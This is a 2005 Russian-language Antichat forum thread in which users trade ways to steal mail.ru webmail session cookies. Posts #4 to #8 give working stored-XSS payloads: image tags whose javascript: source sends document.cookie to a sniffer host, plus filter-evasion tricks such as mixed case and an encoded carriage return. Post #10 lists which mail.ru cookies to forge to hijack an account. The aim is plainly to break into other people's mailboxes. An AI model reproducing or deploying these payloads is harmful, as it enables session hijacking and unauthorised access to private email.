HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости Mail-сервис
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

опять mail.ru
  #1  
Старый 31.01.2005, 19:49
san40
Новичок
Регистрация: 31.01.2005
Сообщений: 13
С нами: 11195928

Репутация: 0
По умолчанию опять mail.ru

Подскажите пожалуйста каким образом можно получить куки на сниффер??? и как их заюзать(например Proxomitron)
 
Ответить с цитированием

  #2  
Старый 01.02.2005, 17:52
JazzzSummerMan
Постоянный
Регистрация: 07.04.2004
Сообщений: 387
С нами: 11627066

Репутация: 42
По умолчанию

если ты упоминаешь Proximitron, то наверное обращался к статьям Скальпеля. Тогда что еще нужно, там же все расписано поэтапно, да и видео снято
 
Ответить с цитированием

  #3  
Старый 01.02.2005, 17:59
rsha1988
Участник форума
Регистрация: 03.01.2005
Сообщений: 270
С нами: 11237205

Репутация: 6
Post

А че - дыру на chat.mail.ru не залатали??????????
 
Ответить с цитированием

  #4  
Старый 01.02.2005, 18:09
JazzzSummerMan
Постоянный
Регистрация: 07.04.2004
Сообщений: 387
С нами: 11627066

Репутация: 42
По умолчанию

Залатали, но можно сразу через почту

<image src="JaVaScRiPt:document.images[x].src='http://sniffer?'+document.cookie">
вот так где-то

Последний раз редактировалось JazzzSummerMan; 01.02.2005 в 18:17..
 
Ответить с цитированием

  #5  
Старый 02.02.2005, 23:15
rsha1988
Участник форума
Регистрация: 03.01.2005
Сообщений: 270
С нами: 11237205

Репутация: 6
Question

Точно так или как нибуть по другому?
 
Ответить с цитированием

  #6  
Старый 02.02.2005, 23:25
rsha1988
Участник форума
Регистрация: 03.01.2005
Сообщений: 270
С нами: 11237205

Репутация: 6
По умолчанию

Ввел: <image
src="javascript:document.images[x].src='http://antichat.ru/cgi-bin/s.jpg?'+docum
ent.cookie">
и отправил к себе на 2 ящик, открыл сообщение но в снифере не чего не увидил!
Я прошу вас - скажите, очень надо и уже не ради прикола...
 
Ответить с цитированием

  #7  
Старый 03.02.2005, 03:15
Майор
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
С нами: 11338946

Репутация: 300


По умолчанию

Цитата:
Сообщение от rsha1988  
Ввел: <image
src="javascript:document.images[x].src='http://antichat.ru/cgi-bin/s.jpg?'+docum
ent.cookie">
и отправил к себе на 2 ящик, открыл сообщение но в снифере не чего не увидил!
Я прошу вас - скажите, очень надо и уже не ради прикола...
Так он фильтрует конешно javascript

А так нет :
Код HTML:
<image name=img width=1 height=1 src=javascript&#13:document.img.src="http://www.adres/snifer.php?"+document.cookie;>

Последний раз редактировалось Майор; 03.02.2005 в 03:17..
 
Ответить с цитированием

  #8  
Старый 03.02.2005, 12:13
JazzzSummerMan
Постоянный
Регистрация: 07.04.2004
Сообщений: 387
С нами: 11627066

Репутация: 42
По умолчанию

я написал JaVaScRiPt в разных регистрах, но здесь почему-то в нижний переводится. Вобщем можно как у меня, только в разных регистрах, и вместо x номер картинки
 
Ответить с цитированием

  #9  
Старый 03.02.2005, 14:06
san40
Новичок
Регистрация: 31.01.2005
Сообщений: 13
С нами: 11195928

Репутация: 0
По умолчанию

А как тогда заюзать куки??? Если юзать их в прокомитроне то вроде надо брать то чо начинается со слова mpop ???? И все %20 урать вроде надо,да?
 
Ответить с цитированием

  #10  
Старый 03.02.2005, 17:14
Майор
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
С нами: 11338946

Репутация: 300


По умолчанию

Подделовать надо токо :
mrcu
p
MailUser
t
Mpop
Mpop

Остальные можно просто удалить
ты вообще вкурсе что такое эти "%20" ?
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.